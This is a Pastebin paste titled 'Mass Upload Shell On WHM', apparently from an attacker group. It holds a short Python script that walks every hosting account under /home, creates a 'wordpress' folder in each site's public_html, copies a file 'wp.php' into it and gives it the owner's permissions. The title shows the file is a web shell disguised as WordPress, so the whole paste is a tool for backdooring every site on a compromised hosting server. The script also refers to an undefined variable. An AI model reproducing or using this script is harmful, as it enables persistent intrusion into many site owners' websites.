PrianganSec

Mass Upload Shell On WHM

Jan 17th, 2020
190
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #./Xi4u7
  2. import os
  3. from shutil import copyfile
  4.  
  5. newfolder = "wordpress"
  6.  
  7. for path in os.listdir("/home"):
  8.     try:
  9.         if os.path.isdir("/home/"+path):
  10.             pwd = "/home/"+path+"/public_html"
  11.             os.mkdir(pwd+"/"+wordpress)
  12.             newpwd = pwd+"/"+wordpress
  13.             os.system("chown "+path+":"+path+" "+newpwd)
  14.             if os.path.isdir(newpwd):
  15.                 copyfile("wp.php", newpwd+"/wp.php")
  16.                 os.system("chown "+path+":"+path+" "+newpwd+"/wp.php")
  17.                 if os.path.isfile(newpwd+"/wp.php"):
  18.                     print("Sukses - "+newpwd+"/wp.php")
  19.     except Exception as err:
  20.         print(err)
  21.         continue
RAW Paste Data